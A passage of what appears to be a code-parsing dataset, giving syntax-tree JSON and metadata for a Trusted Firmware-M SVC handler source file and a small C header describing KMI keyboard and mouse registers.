break;\n default:\n svc_args[0] = SVC_Handler_IPC(svc_number, svc_args, exc_return);\n break;\n }\n\n return exc_return;\n}", "parent": null, "children": [22, 23], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 48, "column": 1}}, {"id": 22, "type": "primitive_type", "text": "uint32_t", "parent": 21, "children": [], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 8}}, {"id": 23, "type": "function_declarator", "text": "tfm_core_svc_handler(uint32_t *svc_args, uint32_t exc_return)", "parent": 21, "children": [24, 25], "start_point": {"row": 15, "column": 9}, "end_point": {"row": 15, "column": 70}}, {"id": 24, "type": "identifier", "text": "tfm_core_svc_handler", "parent": 23, "children": [], "start_point": {"row": 15, "column": 9}, "end_point": {"row": 15, "column": 29}}, {"id": 25, "type": "parameter_list", "text": "(uint32_t *svc_args, uint32_t exc_return)", "parent": 23, "children": [26, 31], "start_point": {"row": 15, "column": 29}, "end_point": {"row": 15, "column": 70}}, {"id": 26, "type": "parameter_declaration", "text": "uint32_t *svc_args", "parent": 25, "children": [27, 28], "start_point": {"row": 15, "column": 30}, "end_point": {"row": 15, "column": 48}}, {"id": 27, "type": "primitive_type", "text": "uint32_t", "parent": 26, "children": [], "start_point": {"row": 15, "column": 30}, "end_point": {"row": 15, "column": 38}}, {"id": 28, "type": "pointer_declarator", "text": "*svc_args", "parent": 26, "children": [29, 30], "start_point": {"row": 15, "column": 39}, "end_point": {"row": 15, "column": 48}}, {"id": 29, "type": "*", "text": "*", "parent": 28, "children": [], "start_point": {"row": 15, "column": 39}, "end_point": {"row": 15, "column": 40}}, {"id": 30, "type": "identifier", "text": "svc_args", "parent": 28, "children": [], "start_point": {"row": 15, "column": 40}, "end_point": {"row": 15, "column": 48}}, {"id": 31, "type": "parameter_declaration", "text": "uint32_t exc_return", "parent": 25, "children": [32, 33], "start_point": {"row": 15, "column": 50}, "end_point": {"row": 15, "column": 69}}, {"id": 32, "type": "primitive_type", "text": "uint32_t", "parent": 31, "children": [], "start_point": {"row": 15, "column": 50}, "end_point": {"row": 15, "column": 58}}, {"id": 33, "type": "identifier", "text": "exc_return", "parent": 31, "children": [], "start_point": {"row": 15, "column": 59}, "end_point": {"row": 15, "column": 69}}, {"id": 34, "type": "declaration", "text": "uint8_t svc_number = 0;", "parent": 21, "children": [35, 36], "start_point": {"row": 17, "column": 4}, "end_point": {"row": 17, "column": 27}}, {"id": 35, "type": "primitive_type", "text": "uint8_t", "parent": 34, "children": [], "start_point": {"row": 17, "column": 4}, "end_point": {"row": 17, "column": 11}}, {"id": 36, "type": "init_declarator", "text": "svc_number = 0", "parent": 34, "children": [37, 38, 39], "start_point": {"row": 17, "column": 12}, "end_point": {"row": 17, "column": 26}}, {"id": 37, "type": "identifier", "text": "svc_number", "parent": 36, "children": [], "start_point": {"row": 17, "column": 12}, "end_point": {"row": 17, "column": 22}}, {"id": 38, "type": "=", "text": "=", "parent": 36, "children": [], "start_point": {"row": 17, "column": 23}, "end_point": {"row": 17, "column": 24}}, {"id": 39, "type": "number_literal", "text": "0", "parent": 36, "children": [], "start_point": {"row": 17, "column": 25}, "end_point": {"row": 17, "column": 26}}, {"id": 40, "type": "if_statement", "text": "if (is_return_secure_stack(exc_return)) {\n /* SV called directly from secure context. Check instruction for\n * svc_number\n */\n svc_number = ((uint8_t *)svc_args[6])[-2];\n } else {\n /* Secure SV executing with NS return.\n * NS cannot directly trigger S SVC so this should not happen. This is\n * an unrecoverable error.\n */\n tfm_core_panic();\n }", "parent": 21, "children": [41, 60], "start_point": {"row": 23, "column": 4}, "end_point": {"row": 34, "column": 5}}, {"id": 41, "type": "parenthesized_expression", "text": "(is_return_secure_stack(exc_return))", "parent": 40, "children": [42], "start_point": {"row": 23, "column": 7}, "end_point": {"row": 23, "column": 43}}, {"id": 42, "type": "call_expression", "text": "is_return_secure_stack(exc_return)", "parent": 41, "children": [43, 44], "start_point": {"row": 23, "column": 8}, "end_point": {"row": 23, "column": 42}}, {"id": 43, "type": "identifier", "text": "is_return_secure_stack", "parent": 42, "children": [], "start_point": {"row": 23, "column": 8}, "end_point": {"row": 23, "column": 30}}, {"id": 44, "type": "argument_list", "text": "(exc_return)", "parent": 42, "children": [45], "start_point": {"row": 23, "column": 30}, "end_point": {"row": 23, "column": 42}}, {"id": 45, "type": "identifier", "text": "exc_return", "parent": 44, "children": [], "start_point": {"row": 23, "column": 31}, "end_point": {"row": 23, "column": 41}}, {"id": 46, "type": "assignment_expression", "text": "svc_number = ((uint8_t *)svc_args[6])[-2]", "parent": 40, "children": [47, 48, 49], "start_point": {"row": 27, "column": 8}, "end_point": {"row": 27, "column": 49}}, {"id": 47, "type": "identifier", "text": "svc_number", "parent": 46, "children": [], "start_point": {"row": 27, "column": 8}, "end_point": {"row": 27, "column": 18}}, {"id": 48, "type": "=", "text": "=", "parent": 46, "children": [], "start_point": {"row": 27, "column": 19}, "end_point": {"row": 27, "column": 20}}, {"id": 49, "type": "subscript_expression", "text": "((uint8_t *)svc_args[6])[-2]", "parent": 46, "children": [50, 59], "start_point": {"row": 27, "column": 21}, "end_point": {"row": 27, "column": 49}}, {"id": 50, "type": "parenthesized_expression", "text": "((uint8_t *)svc_args[6])", "parent": 49, "children": [51], "start_point": {"row": 27, "column": 21}, "end_point": {"row": 27, "column": 45}}, {"id": 51, "type": "cast_expression", "text": "(uint8_t *)svc_args[6]", "parent": 50, "children": [52, 56], "start_point": {"row": 27, "column": 22}, "end_point": {"row": 27, "column": 44}}, {"id": 52, "type": "type_descriptor", "text": "uint8_t *", "parent": 51, "children": [53, 54], "start_point": {"row": 27, "column": 23}, "end_point": {"row": 27, "column": 32}}, {"id": 53, "type": "primitive_type", "text": "uint8_t", "parent": 52, "children": [], "start_point": {"row": 27, "column": 23}, "end_point": {"row": 27, "column": 30}}, {"id": 54, "type": "abstract_pointer_declarator", "text": "*", "parent": 52, "children": [55], "start_point": {"row": 27, "column": 31}, "end_point": {"row": 27, "column": 32}}, {"id": 55, "type": "*", "text": "*", "parent": 54, "children": [], "start_point": {"row": 27, "column": 31}, "end_point": {"row": 27, "column": 32}}, {"id": 56, "type": "subscript_expression", "text": "svc_args[6]", "parent": 51, "children": [57, 58], "start_point": {"row": 27, "column": 33}, "end_point": {"row": 27, "column": 44}}, {"id": 57, "type": "identifier", "text": "svc_args", "parent": 56, "children": [], "start_point": {"row": 27, "column": 33}, "end_point": {"row": 27, "column": 41}}, {"id": 58, "type": "number_literal", "text": "6", "parent": 56, "children": [], "start_point": {"row": 27, "column": 42}, "end_point": {"row": 27, "column": 43}}, {"id": 59, "type": "number_literal", "text": "-2", "parent": 49, "children": [], "start_point": {"row": 27, "column": 46}, "end_point": {"row": 27, "column": 48}}, {"id": 60, "type": "else_clause", "text": "else {\n /* Secure SV executing with NS return.\n * NS cannot directly trigger S SVC so this should not happen. This is\n * an unrecoverable error.\n */\n tfm_core_panic();\n }", "parent": 40, "children": [], "start_point": {"row": 28, "column": 6}, "end_point": {"row": 34, "column": 5}}, {"id": 61, "type": "call_expression", "text": "tfm_core_panic()", "parent": 60, "children": [62, 63], "start_point": {"row": 33, "column": 8}, "end_point": {"row": 33, "column": 24}}, {"id": 62, "type": "identifier", "text": "tfm_core_panic", "parent": 61, "children": [], "start_point": {"row": 33, "column": 8}, "end_point": {"row": 33, "column": 22}}, {"id": 63, "type": "argument_list", "text": "()", "parent": 61, "children": [], "start_point": {"row": 33, "column": 22}, "end_point": {"row": 33, "column": 24}}, {"id": 64, "type": "switch_statement", "text": "switch (svc_number) {\n case TFM_SVC_HANDLER_MODE:\n tfm_spm_init();\n break;\n case TFM_SVC_GET_BOOT_DATA:\n tfm_core_get_boot_data_handler(svc_args);\n break;\n default:\n svc_args[0] = SVC_Handler_IPC(svc_number, svc_args, exc_return);\n break;\n }", "parent": 21, "children": [65, 66], "start_point": {"row": 35, "column": 4}, "end_point": {"row": 45, "column": 5}}, {"id": 65, "type": "switch", "text": "switch", "parent": 64, "children": [], "start_point": {"row": 35, "column": 4}, "end_point": {"row": 35, "column": 10}}, {"id": 66, "type": "parenthesized_expression", "text": "(svc_number)", "parent": 64, "children": [67], "start_point": {"row": 35, "column": 11}, "end_point": {"row": 35, "column": 23}}, {"id": 67, "type": "identifier", "text": "svc_number", "parent": 66, "children": [], "start_point": {"row": 35, "column": 12}, "end_point": {"row": 35, "column": 22}}, {"id": 68, "type": "case_statement", "text": "case TFM_SVC_HANDLER_MODE:\n tfm_spm_init();\n break;", "parent": 64, "children": [69, 70, 74], "start_point": {"row": 36, "column": 4}, "end_point": {"row": 38, "column": 14}}, {"id": 69, "type": "case", "text": "case", "parent": 68, "children": [], "start_point": {"row": 36, "column": 4}, "end_point": {"row": 36, "column": 8}}, {"id": 70, "type": "identifier", "text": "TFM_SVC_HANDLER_MODE", "parent": 68, "children": [], "start_point": {"row": 36, "column": 9}, "end_point": {"row": 36, "column": 29}}, {"id": 71, "type": "call_expression", "text": "tfm_spm_init()", "parent": 68, "children": [72, 73], "start_point": {"row": 37, "column": 8}, "end_point": {"row": 37, "column": 22}}, {"id": 72, "type": "identifier", "text": "tfm_spm_init", "parent": 71, "children": [], "start_point": {"row": 37, "column": 8}, "end_point": {"row": 37, "column": 20}}, {"id": 73, "type": "argument_list", "text": "()", "parent": 71, "children": [], "start_point": {"row": 37, "column": 20}, "end_point": {"row": 37, "column": 22}}, {"id": 74, "type": "break_statement", "text": "break;", "parent": 68, "children": [75], "start_point": {"row": 38, "column": 8}, "end_point": {"row": 38, "column": 14}}, {"id": 75, "type": "break", "text": "break", "parent": 74, "children": [], "start_point": {"row": 38, "column": 8}, "end_point": {"row": 38, "column": 13}}, {"id": 76, "type": "case_statement", "text": "case TFM_SVC_GET_BOOT_DATA:\n tfm_core_get_boot_data_handler(svc_args);\n break;", "parent": 64, "children": [77, 78, 83], "start_point": {"row": 39, "column": 4}, "end_point": {"row": 41, "column": 14}}, {"id": 77, "type": "case", "text": "case", "parent": 76, "children": [], "start_point": {"row": 39, "column": 4}, "end_point": {"row": 39, "column": 8}}, {"id": 78, "type": "identifier", "text": "TFM_SVC_GET_BOOT_DATA", "parent": 76, "children": [], "start_point": {"row": 39, "column": 9}, "end_point": {"row": 39, "column": 30}}, {"id": 79, "type": "call_expression", "text": "tfm_core_get_boot_data_handler(svc_args)", "parent": 76, "children": [80, 81], "start_point": {"row": 40, "column": 8}, "end_point": {"row": 40, "column": 48}}, {"id": 80, "type": "identifier", "text": "tfm_core_get_boot_data_handler", "parent": 79, "children": [], "start_point": {"row": 40, "column": 8}, "end_point": {"row": 40, "column": 38}}, {"id": 81, "type": "argument_list", "text": "(svc_args)", "parent": 79, "children": [82], "start_point": {"row": 40, "column": 38}, "end_point": {"row": 40, "column": 48}}, {"id": 82, "type": "identifier", "text": "svc_args", "parent": 81, "children": [], "start_point": {"row": 40, "column": 39}, "end_point": {"row": 40, "column": 47}}, {"id": 83, "type": "break_statement", "text": "break;", "parent": 76, "children": [84], "start_point": {"row": 41, "column": 8}, "end_point": {"row": 41, "column": 14}}, {"id": 84, "type": "break", "text": "break", "parent": 83, "children": [], "start_point": {"row": 41, "column": 8}, "end_point": {"row": 41, "column": 13}}, {"id": 85, "type": "case_statement", "text": "default:\n svc_args[0] = SVC_Handler_IPC(svc_number, svc_args, exc_return);\n break;", "parent": 64, "children": [86, 98], "start_point": {"row": 42, "column": 4}, "end_point": {"row": 44, "column": 14}}, {"id": 86, "type": "default", "text": "default", "parent": 85, "children": [], "start_point": {"row": 42, "column": 4}, "end_point": {"row": 42, "column": 11}}, {"id": 87, "type": "assignment_expression", "text": "svc_args[0] = SVC_Handler_IPC(svc_number, svc_args, exc_return)", "parent": 85, "children": [88, 91, 92], "start_point": {"row": 43, "column": 8}, "end_point": {"row": 43, "column": 71}}, {"id": 88, "type": "subscript_expression", "text": "svc_args[0]", "parent": 87, "children": [89, 90], "start_point": {"row": 43, "column": 8}, "end_point": {"row": 43, "column": 19}}, {"id": 89, "type": "identifier", "text": "svc_args", "parent": 88, "children": [], "start_point": {"row": 43, "column": 8}, "end_point": {"row": 43, "column": 16}}, {"id": 90, "type": "number_literal", "text": "0", "parent": 88, "children": [], "start_point": {"row": 43, "column": 17}, "end_point": {"row": 43, "column": 18}}, {"id": 91, "type": "=", "text": "=", "parent": 87, "children": [], "start_point": {"row": 43, "column": 20}, "end_point": {"row": 43, "column": 21}}, {"id": 92, "type": "call_expression", "text": "SVC_Handler_IPC(svc_number, svc_args, exc_return)", "parent": 87, "children": [93, 94], "start_point": {"row": 43, "column": 22}, "end_point": {"row": 43, "column": 71}}, {"id": 93, "type": "identifier", "text": "SVC_Handler_IPC", "parent": 92, "children": [], "start_point": {"row": 43, "column": 22}, "end_point": {"row": 43, "column": 37}}, {"id": 94, "type": "argument_list", "text": "(svc_number, svc_args, exc_return)", "parent": 92, "children": [95, 96, 97], "start_point": {"row": 43, "column": 37}, "end_point": {"row": 43, "column": 71}}, {"id": 95, "type": "identifier", "text": "svc_number", "parent": 94, "children": [], "start_point": {"row": 43, "column": 38}, "end_point": {"row": 43, "column": 48}}, {"id": 96, "type": "identifier", "text": "svc_args", "parent": 94, "children": [], "start_point": {"row": 43, "column": 50}, "end_point": {"row": 43, "column": 58}}, {"id": 97, "type": "identifier", "text": "exc_return", "parent": 94, "children": [], "start_point": {"row": 43, "column": 60}, "end_point": {"row": 43, "column": 70}}, {"id": 98, "type": "break_statement", "text": "break;", "parent": 85, "children": [99], "start_point": {"row": 44, "column": 8}, "end_point": {"row": 44, "column": 14}}, {"id": 99, "type": "break", "text": "break", "parent": 98, "children": [], "start_point": {"row": 44, "column": 8}, "end_point": {"row": 44, "column": 13}}, {"id": 100, "type": "return_statement", "text": "return exc_return;", "parent": 21, "children": [101], "start_point": {"row": 47, "column": 4}, "end_point": {"row": 47, "column": 22}}, {"id": 101, "type": "identifier", "text": "exc_return", "parent": 100, "children": [], "start_point": {"row": 47, "column": 11}, "end_point": {"row": 47, "column": 21}}, {"id": 102, "type": "function_definition", "text": "__attribute__ ((naked)) void tfm_core_handler_mode(void)\n{\n __ASM volatile(\"SVC %0 \\n\"\n \"BX LR \\n\"\n : : \"I\" (TFM_SVC_HANDLER_MODE));\n}", "parent": null, "children": [103, 107, 108], "start_point": {"row": 50, "column": 0}, "end_point": {"row": 55, "column": 1}}, {"id": 103, "type": "attribute_specifier", "text": "__attribute__ ((naked))", "parent": 102, "children": [104, 105], "start_point": {"row": 50, "column": 0}, "end_point": {"row": 50, "column": 23}}, {"id": 104, "type": "__attribute__", "text": "__attribute__", "parent": 103, "children": [], "start_point": {"row": 50, "column": 0}, "end_point": {"row": 50, "column": 13}}, {"id": 105, "type": "argument_list", "text": "(naked)", "parent": 103, "children": [106], "start_point": {"row": 50, "column": 15}, "end_point": {"row": 50, "column": 22}}, {"id": 106, "type": "identifier", "text": "naked", "parent": 105, "children": [], "start_point": {"row": 50, "column": 16}, "end_point": {"row": 50, "column": 21}}, {"id": 107, "type": "primitive_type", "text": "void", "parent": 102, "children": [], "start_point": {"row": 50, "column": 24}, "end_point": {"row": 50, "column": 28}}, {"id": 108, "type": "function_declarator", "text": "tfm_core_handler_mode(void)", "parent": 102, "children": [109, 110], "start_point": {"row": 50, "column": 29}, "end_point": {"row": 50, "column": 56}}, {"id": 109, "type": "identifier", "text": "tfm_core_handler_mode", "parent": 108, "children": [], "start_point": {"row": 50, "column": 29}, "end_point": {"row": 50, "column": 50}}, {"id": 110, "type": "parameter_list", "text": "(void)", "parent": 108, "children": [111], "start_point": {"row": 50, "column": 50}, "end_point": {"row": 50, "column": 56}}, {"id": 111, "type": "parameter_declaration", "text": "void", "parent": 110, "children": [112], "start_point": {"row": 50, "column": 51}, "end_point": {"row": 50, "column": 55}}, {"id": 112, "type": "primitive_type", "text": "void", "parent": 111, "children": [], "start_point": {"row": 50, "column": 51}, "end_point": {"row": 50, "column": 55}}, {"id": 113, "type": "ERROR", "text": "__ASM volatile(\"SVC %0 \\n\"\n \"BX LR \\n\"\n : :", "parent": 102, "children": [114, 115, 117], "start_point": {"row": 52, "column": 4}, "end_point": {"row": 54, "column": 22}}, {"id": 114, "type": "type_identifier", "text": "__ASM", "parent": 113, "children": [], "start_point": {"row": 52, "column": 4}, "end_point": {"row": 52, "column": 9}}, {"id": 115, "type": "type_qualifier", "text": "volatile", "parent": 113, "children": [116], "start_point": {"row": 52, "column": 10}, "end_point": {"row": 52, "column": 18}}, {"id": 116, "type": "volatile", "text": "volatile", "parent": 115, "children": [], "start_point": {"row": 52, "column": 10}, "end_point": {"row": 52, "column": 18}}, {"id": 117, "type": "concatenated_string", "text": "\"SVC %0 \\n\"\n \"BX LR \\n\"", "parent": 113, "children": [118, 120], "start_point": {"row": 52, "column": 19}, "end_point": {"row": 53, "column": 40}}, {"id": 118, "type": "string_literal", "text": "\"SVC %0 \\n\"", "parent": 117, "children": [119], "start_point": {"row": 52, "column": 19}, "end_point": {"row": 52, "column": 40}}, {"id": 119, "type": "escape_sequence", "text": "\\n", "parent": 118, "children": [], "start_point": {"row": 52, "column": 37}, "end_point": {"row": 52, "column": 39}}, {"id": 120, "type": "string_literal", "text": "\"BX LR \\n\"", "parent": 117, "children": [121], "start_point": {"row": 53, "column": 19}, "end_point": {"row": 53, "column": 40}}, {"id": 121, "type": "escape_sequence", "text": "\\n", "parent": 120, "children": [], "start_point": {"row": 53, "column": 37}, "end_point": {"row": 53, "column": 39}}, {"id": 122, "type": "call_expression", "text": "\"I\" (TFM_SVC_HANDLER_MODE)", "parent": 102, "children": [123, 124], "start_point": {"row": 54, "column": 23}, "end_point": {"row": 54, "column": 49}}, {"id": 123, "type": "string_literal", "text": "\"I\"", "parent": 122, "children": [], "start_point": {"row": 54, "column": 23}, "end_point": {"row": 54, "column": 26}}, {"id": 124, "type": "argument_list", "text": "(TFM_SVC_HANDLER_MODE)", "parent": 122, "children": [125], "start_point": {"row": 54, "column": 27}, "end_point": {"row": 54, "column": 49}}, {"id": 125, "type": "identifier", "text": "TFM_SVC_HANDLER_MODE", "parent": 124, "children": [], "start_point": {"row": 54, "column": 28}, "end_point": {"row": 54, "column": 48}}, {"id": 126, "type": "function_definition", "text": "void tfm_access_violation_handler(void)\n{\n while (1) {\n ;\n }\n}", "parent": null, "children": [127, 128], "start_point": {"row": 57, "column": 0}, "end_point": {"row": 62, "column": 1}}, {"id": 127, "type": "primitive_type", "text": "void", "parent": 126, "children": [], "start_point": {"row": 57, "column": 0}, "end_point": {"row": 57, "column": 4}}, {"id": 128, "type": "function_declarator", "text": "tfm_access_violation_handler(void)", "parent": 126, "children": [129, 130], "start_point": {"row": 57, "column": 5}, "end_point": {"row": 57, "column": 39}}, {"id": 129, "type": "identifier", "text": "tfm_access_violation_handler", "parent": 128, "children": [], "start_point": {"row": 57, "column": 5}, "end_point": {"row": 57, "column": 33}}, {"id": 130, "type": "parameter_list", "text": "(void)", "parent": 128, "children": [131], "start_point": {"row": 57, "column": 33}, "end_point": {"row": 57, "column": 39}}, {"id": 131, "type": "parameter_declaration", "text": "void", "parent": 130, "children": [132], "start_point": {"row": 57, "column": 34}, "end_point": {"row": 57, "column": 38}}, {"id": 132, "type": "primitive_type", "text": "void", "parent": 131, "children": [], "start_point": {"row": 57, "column": 34}, "end_point": {"row": 57, "column": 38}}, {"id": 133, "type": "while_statement", "text": "while (1) {\n ;\n }", "parent": 126, "children": [134], "start_point": {"row": 59, "column": 4}, "end_point": {"row": 61, "column": 5}}, {"id": 134, "type": "parenthesized_expression", "text": "(1)", "parent": 133, "children": [135], "start_point": {"row": 59, "column": 10}, "end_point": {"row": 59, "column": 13}}, {"id": 135, "type": "number_literal", "text": "1", "parent": 134, "children": [], "start_point": {"row": 59, "column": 11}, "end_point": {"row": 59, "column": 12}}]}, "node_categories": {"declarations": {"functions": [21, 23, 102, 108, 126, 128], "variables": [26, 31, 34, 111, 131], "classes": [], "imports": [0, 1, 3, 4, 6, 7, 9, 10, 12, 13, 15, 16, 18, 19], "modules": [], "enums": []}, "statements": {"expressions": [41, 42, 49, 50, 51, 56, 61, 66, 71, 79, 88, 92, 122, 134], "assignments": [46, 87], "loops": [133], "conditionals": [24, 30, 33, 37, 40, 43, 45, 47, 57, 62, 64, 65, 67, 68, 69, 70, 72, 76, 77, 78, 80, 82, 85, 89, 93, 95, 96, 97, 101, 103, 106, 109, 114, 115, 125, 129], "returns": [100], "exceptions": []}, "expressions": {"calls": [], "literals": [2, 5, 8, 11, 14, 17, 20, 39, 58, 59, 90, 117, 118, 120, 123, 135], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 21, "universal_type": "function", "name": "unknown", "text_snippet": "uint32_t tfm_core_svc_handler(uint32_t *svc_args, uint32_t exc_return)\n{\n uint8_t svc_number = 0;"}, {"node_id": 23, "universal_type": "function", "name": "unknown", "text_snippet": "tfm_core_svc_handler(uint32_t *svc_args, uint32_t exc_return)"}, {"node_id": 102, "universal_type": "function", "name": "tfm_core_handler_mode", "text_snippet": "__attribute__ ((naked)) void tfm_core_handler_mode(void)\n{\n __ASM volatile(\"SVC %0 \\n\"\n"}, {"node_id": 108, "universal_type": "function", "name": "unknown", "text_snippet": "tfm_core_handler_mode(void)"}, {"node_id": 126, "universal_type": "function", "name": "tfm_access_violation_handler", "text_snippet": "void tfm_access_violation_handler(void)\n{\n while (1) {\n ;\n }\n}"}, {"node_id": 128, "universal_type": "function", "name": "unknown", "text_snippet": "tfm_access_violation_handler(void)"}], "class_declarations": [], "import_statements": [{"node_id": 0, "text": "#include <string.h>\n"}, {"node_id": 1, "text": "#include"}, {"node_id": 3, "text": "#include \"tfm_api.h\"\n"}, {"node_id": 4, "text": "#include"}, {"node_id": 6, "text": "#include \"tfm_internal.h\"\n"}, {"node_id": 7, "text": "#include"}, {"node_id": 9, "text": "#include \"core/tfm_core_svc.h\"\n"}, {"node_id": 10, "text": "#include"}, {"node_id": 12, "text": "#include \"tfm_utils.h\"\n"}, {"node_id": 13, "text": "#include"}, {"node_id": 15, "text": "#include \"tfm_svcalls.h\"\n"}, {"node_id": 16, "text": "#include"}, {"node_id": 18, "text": "#include \"spm_api.h\"\n"}, {"node_id": 19, "text": "#include"}]}, "original_source_code": "/*\n * Copyright (c) 2017-2019, Arm Limited. All rights reserved.\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\n */\n\n#include <string.h>\n#include \"tfm_api.h\"\n#include \"tfm_internal.h\"\n#include \"core/tfm_core_svc.h\"\n#include \"tfm_utils.h\"\n#include \"tfm_svcalls.h\"\n#include \"spm_api.h\"\n\nuint32_t tfm_core_svc_handler(uint32_t *svc_args, uint32_t exc_return)\n{\n uint8_t svc_number = 0;\n /*\n * Stack contains:\n * r0, r1, r2, r3, r12, r14 (lr), the return address and xPSR\n * First argument (r0) is svc_args[0]\n */\n if (is_return_secure_stack(exc_return)) {\n /* SV called directly from secure context. Check instruction for\n * svc_number\n */\n svc_number = ((uint8_t *)svc_args[6])[-2];\n } else {\n /* Secure SV executing with NS return.\n * NS cannot directly trigger S SVC so this should not happen. This is\n * an unrecoverable error.\n */\n tfm_core_panic();\n }\n switch (svc_number) {\n case TFM_SVC_HANDLER_MODE:\n tfm_spm_init();\n break;\n case TFM_SVC_GET_BOOT_DATA:\n tfm_core_get_boot_data_handler(svc_args);\n break;\n default:\n svc_args[0] = SVC_Handler_IPC(svc_number, svc_args, exc_return);\n break;\n }\n\n return exc_return;\n}\n\n__attribute__ ((naked)) void tfm_core_handler_mode(void)\n{\n __ASM volatile(\"SVC %0 \\n\"\n \"BX LR \\n\"\n : : \"I\" (TFM_SVC_HANDLER_MODE));\n}\n\nvoid tfm_access_violation_handler(void)\n{\n while (1) {\n ;\n }\n}\n"}
81,165
c
#include <stdint.h> #ifndef IO_H #define IO_H #define KMI_KB_BASE 0x18000000 #define KMI_MS_BASE 0x19000000 typedef struct _KMI_MMIO { uint32_t cr; uint32_t stat; uint32_t data; uint32_t clk; uint32_t ir; } KMI_MMIO; void test(); #endif
17.36
14
(translation_unit) "#include <stdint.h>\n\n#ifndef IO_H\n#define IO_H\n\n#define KMI_KB_BASE 0x18000000\n#define KMI_MS_BASE 0x19000000\n\ntypedef struct _KMI_MMIO {\n uint32_t cr;\n uint32_t stat;\n uint32_t data;\n uint32_t clk;\n uint32_t ir;\n} KMI_MMIO;\n\nvoid test();\n\n#endif" (preproc_include) "#include <stdint.h>\n" (#include) "#include" (system_lib_string) "<stdint.h>" (preproc_ifdef) "#ifndef IO_H\n#define IO_H\n\n#define KMI_KB_BASE 0x18000000\n#define KMI_MS_BASE 0x19000000\n\ntypedef struct _KMI_MMIO {\n uint32_t cr;\n uint32_t stat;\n uint32_t data;\n uint32_t clk;\n uint32_t ir;\n} KMI_MMIO;\n\nvoid test();\n\n#endif" (#ifndef) "#ifndef" (identifier) "IO_H" (preproc_def) "#define IO_H\n" (#define) "#define" (identifier) "IO_H" (preproc_def) "#define KMI_KB_BASE 0x18000000\n" (#define) "#define" (identifier) "KMI_KB_BASE" (preproc_arg) "0x18000000" (preproc_def) "#define KMI_MS_BASE 0x19000000\n" (#define) "#define" (identifier) "KMI_MS_BASE" (preproc_arg) "0x19000000" (type_definition) "typedef struct _KMI_MMIO {\n uint32_t cr;\n uint32_t stat;\n uint32_t data;\n uint32_t clk;\n uint32_t ir;\n} KMI_MMIO;" (typedef) "typedef" (struct_specifier) "struct _KMI_MMIO {\n uint32_t cr;\n uint32_t stat;\n uint32_t data;\n uint32_t clk;\n uint32_t ir;\n}" (struct) "struct" (type_identifier) "_KMI_MMIO" (field_declaration_list) "{\n uint32_t cr;\n uint32_t stat;\n uint32_t data;\n uint32_t clk;\n uint32_t ir;\n}" ({) "{" (field_declaration) "uint32_t cr;" (primitive_type) "uint32_t" (field_identifier) "cr" (;) ";" (field_declaration) "uint32_t stat;" (primitive_type) "uint32_t" (field_identifier) "stat" (;) ";" (field_declaration) "uint32_t data;" (primitive_type) "uint32_t" (field_identifier) "data" (;) ";" (field_declaration) "uint32_t clk;" (primitive_type) "uint32_t" (field_identifier) "clk" (;) ";" (field_declaration) "uint32_t ir;" (primitive_type) "uint32_t" (field_identifier) "ir" (;) ";" (}) "}" (type_identifier) "KMI_MMIO" (;) ";" (declaration) "void test();" (primitive_type) "void" (function_declarator) "test()" (identifier) "test" (parameter_list) "()" (() "(" ()) ")" (;) ";" (#endif) "#endif"
57
0
{"language": "c", "success": true, "metadata": {"lines": 14, "avg_line_length": 17.36, "nodes": 44, "errors": 0, "source_hash": "e553a9f390657d67adb2b30b85df5e2ebf64f4ee039f9541dde044dfc1f8f0c9", "categorized_nodes": 28}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#include <stdint.h>\n", "parent": null, "children": [1, 2], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 1, "column": 0}}, {"id": 1, "type": "#include", "text": "#include", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 8}}, {"id": 2, "type": "system_lib_string", "text": "<stdint.h>", "parent": 0, "children": [], "start_point": {"row": 0, "column": 9}, "end_point": {"row": 0, "column": 19}}, {"id": 3, "type": "preproc_ifdef", "text": "#ifndef IO_H\n#define IO_H\n\n#define KMI_KB_BASE 0x18000000\n#define KMI_MS_BASE 0x19000000\n\ntypedef struct _KMI_MMIO {\n uint32_t cr;\n uint32_t stat;\n uint32_t data;\n uint32_t clk;\n uint32_t ir;\n} KMI_MMIO;\n\nvoid test();\n\n#endif", "parent": null, "children": [4, 5, 6, 9, 13, 17, 38, 43], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 18, "column": 6}}, {"id": 4, "type": "#ifndef", "text": "#ifndef", "parent": 3, "children": [], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 2, "column": 7}}, {"id": 5, "type": "identifier", "text": "IO_H", "parent": 3, "children": [], "start_point": {"row": 2, "column": 8}, "end_point": {"row": 2, "column": 12}}, {"id": 6, "type": "preproc_def", "text": "#define IO_H\n", "parent": 3, "children": [7, 8], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 4, "column": 0}}, {"id": 7, "type": "#define", "text": "#define", "parent": 6, "children": [], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 7}}, {"id": 8, "type": "identifier", "text": "IO_H", "parent": 6, "children": [], "start_point": {"row": 3, "column": 8}, "end_point": {"row": 3, "column": 12}}, {"id": 9, "type": "preproc_def", "text": "#define KMI_KB_BASE 0x18000000\n", "parent": 3, "children": [10, 11, 12], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 6, "column": 0}}, {"id": 10, "type": "#define", "text": "#define", "parent": 9, "children": [], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 7}}, {"id": 11, "type": "identifier", "text": "KMI_KB_BASE", "parent": 9, "children": [], "start_point": {"row": 5, "column": 8}, "end_point": {"row": 5, "column": 19}}, {"id": 12, "type": "preproc_arg", "text": "0x18000000", "parent": 9, "children": [], "start_point": {"row": 5, "column": 20}, "end_point": {"row": 5, "column": 30}}, {"id": 13, "type": "preproc_def", "text": "#define KMI_MS_BASE 0x19000000\n", "parent": 3, "children": [14, 15, 16], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 7, "column": 0}}, {"id": 14, "type": "#define", "text": "#define", "parent": 13, "children": [], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 6, "column": 7}}, {"id": 15, "type": "identifier", "text": "KMI_MS_BASE", "parent": 13, "children": [], "start_point": {"row": 6, "column": 8}, "end_point": {"row": 6, "column": 19}}, {"id": 16, "type": "preproc_arg", "text": "0x19000000", "parent": 13, "children": [], "start_point": {"row": 